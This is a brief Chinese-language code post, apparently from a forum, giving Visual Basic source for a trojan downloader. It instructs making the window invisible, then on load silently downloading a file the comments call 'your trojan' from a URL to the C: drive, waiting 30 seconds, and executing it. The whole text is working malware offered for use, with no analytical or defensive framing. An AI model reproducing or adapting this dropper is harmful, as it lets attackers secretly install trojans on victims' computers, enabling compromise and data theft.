复制内容到剪贴板
代码:
首先要把界面弄成不可见，然后双击窗体输入如下代码：
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
dizhi="http://127.0.0.1/muma.exe" '你的木马
bendi="c:\muma.exe" '下载后的保存位置，建议保存到C盘
URLDownloadToFile 0,dizhi,bendi, 0, 0
Sleep 30000 '等待30000毫秒（30秒，等木马下载完，可根据网速及木马文件大小自行修改）
ShellExecute 0, vbNullString, bendi, vbNullString, vbNullString, vbNormalFocus 'ShellExecute
end
End Sub
